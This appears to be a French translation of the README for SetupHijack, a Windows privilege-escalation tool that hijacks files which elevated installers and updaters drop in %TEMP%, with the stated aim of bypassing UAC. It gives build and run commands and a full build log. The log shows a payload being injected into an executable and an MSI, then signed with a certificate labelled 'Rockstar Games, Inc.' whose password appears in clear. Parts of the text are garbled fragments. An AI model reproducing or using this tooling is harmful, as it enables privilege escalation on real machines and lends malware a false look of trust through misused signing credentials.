
SetupHijack est un outil de recherche en sécurité qui exploite les conditions de concurrence et la gestion non sécurisée des fichiers dans les processus d'installation et de mise à jour des applications Windows.
SetupHijack est un outil de recherche en sécurité qui exploite des conditions de concurrence et une gestion non sécurisée des fichiers dans les processus d'installation et de mise à jour de Windows. Il cible les scénarios où des installateurs ou programmes de mise à jour privilégiés déposent des fichiers dans %TEMP% ou d'autres emplacements accessibles en écriture par tous, permettant à un attaquant de remplacer ces fichiers avant qu'ils ne soient exécutés avec des privilèges élevés.
.exe, .msi et les fichiers batch (par exemple, sysinfo, netstat, ipconfig).L'utilisation prévue de cet outil est de s'exécuter en arrière-plan sur un compte utilisateur compromis disposant de privilèges, afin d'élever un autre processus en détournant les fichiers déposés par les installateurs/programmes de mise à jour.
Le graphique ci-dessous présente des cas d'utilisation réels de cette exploitation dans plusieurs scénarios pouvant être utilisés pour contourner l'UAC. Les contournements de l'UAC sont considérés comme une limite de sécurité lors d'une exécution sous Adminless et constituent une « exigence courante de l'attaquant » pour désactiver les contrôles de sécurité. L'exploitation des opérations administrateur privilégiées offre une accessibilité générique d'exploitation aux codes malveillants pour effectuer un chargement latéral ou élever les privilèges de processus. Cet outil peut être utilisé pour identifier d'autres applications exposées aux mêmes types de risque ; un attaquant peut attendre l'exécution de ces processus afin d'obtenir des droits élevés sans perturber les comportements des utilisateurs.

%TEMP% (et ses sous-répertoires) à la recherche de nouveaux fichiers d'installation ou de fichiers modifiés..bak.Ce projet utilise un processus de signature de code modifié avec SignToolEx.exe et SignToolExHook.dll pour signer les charges utiles et les installateurs. L'utilisation de certificats de signature de code valides et d'un horodatage Authenticode augmentera votre taux de réussite lors du contournement des contrôles de confiance des installateurs et du système d'exploitation.
nmake PAYLOAD=c:\Path\to\your\payload.exe
### Exécuter (Options)```sh
SetupHijack.exe # Scan %TEMP%, %APPDATA%, and %USERPROFILE%\Downloads (default)
SetupHijack.exe -notemp # Disable scanning %TEMP%
SetupHijack.exe -noappdata # Disable scanning %APPDATA%
SetupHijack.exe -nodownloads # Disable scanning %USERPROFILE%\Downloads
SetupHijack.exe clean # Clean mode (restores .bak backups in all enabled locations)
SetupHijack.exe verbose # Verbose mode (log all actions)
SetupHijack.exe <payload.exe> # Use specified payload for .exe (unless argument is a recognized option)
-notemp, -noappdata ou -nodownloads.clean restaure les sauvegardes dans tous les emplacements activés. L’option verbose journalise toutes les actions.shadow.exe ou des outils similaires sur Terminal Services.
%TEMP% et les exécute avec des droits élevés, votre charge utile sera substituée et exécutée.Voici un exemple réel de construction et d'exécution de SetupHijack, y compris la signature de code et la sortie d'infection :``` C:\Users\Fantastic\Desktop\Sayuri\InfectElevatedSetups>nmake PAYLOAD="C:\USers\Fantastic\Desktop\DEMO\Renge_x64.exe"
Microsoft (R) Program Maintenance Utility Version 14.29.30159.0 Copyright (C) Microsoft Corporation. All rights reserved.
powershell -Command "(Get-Content SetupHijack.cpp) -replace '#define PAYLOAD_PATH L\".*\"', '#define PAYLOAD_PATH L\"%ESCAPED_PAYLOAD%\"' | Set-Content SetupHijack.cpp"
cl /nologo /W4 /EHsc /DUNICODE /D_UNICODE /MT /O2 /c SetupHijack.cpp
SetupHijack.cpp
SetupHijack.cpp(318): warning C4189: 'hr2': local variable is initialized but not referenced
taskkill /f /im SetupHijack.exe 2>nul
powershell -Command "Start-Sleep -Milliseconds 500"
link /nologo /SUBSYSTEM:CONSOLE /ENTRY:wmainCRTStartup /NODEFAULTLIB:MSVCRT /NODEFAULTLIB:MSVCPRT /OUT:SetupHijack.exe SetupHijack.obj kernel32.lib user32.lib shlwapi.lib Shell32.lib /MANIFEST /MANIFESTFILE:SetupHijack.exe.manifest
copy /y install.wxs.template install.wxs
1 file(s) copied.
powershell -Command "(Get-Content install.wxs) -replace 'Source="PAYLOAD_PLACEHOLDER"', 'Source="%ESCAPED_PAYLOAD%"' | Set-Content install.wxs"
wix build install.wxs -o install.msi
Generating install.bat with payload C:\USers\Fantastic\Desktop\DEMO\Renge_x64.exe
Generating launch_payload.bat with payload C:\USers\Fantastic\Desktop\DEMO\Renge_x64.exe
powershell -Command "(Get-Content install.wxs) -replace '(<File Id="RengeExeFile" Source=").*?(" KeyPath="yes"/>)', '%ESCAPED_PAYLOAD%' | Set-Content install.wxs"
call sign_random.bat
Using CERT: [certs\rockstar1.pfx]
Using PASS: [C!EZxYUxVGPzQDj3]
The following certificate was selected:
Issued to: Rockstar Games, Inc.
Issued by: Entrust Code Signing CA - OVCS1
Expires: Thu Mar 20 17:16:13 3000
SHA1 hash: C9793F4A2E629D88F2213622D7A0C170D9C7CBC6
Done Adding Additional Store Successfully signed: SetupHijack.exe
Number of files successfully Signed: 1 Number of warnings: 0 Number of errors: 0 The following certificate was selected: Issued to: Rockstar Games, Inc. Issued by: Entrust Code Signing CA - OVCS1 Expires: Thu Mar 20 17:16:13 3000 SHA1 hash: C9793F4A2E629D88F2213622D7A0C170D9C7CBC6
Done Adding Additional Store Successfully signed: install.msi
Number of files successfully Signed: 1 Number of warnings: 0 Number of errors: 0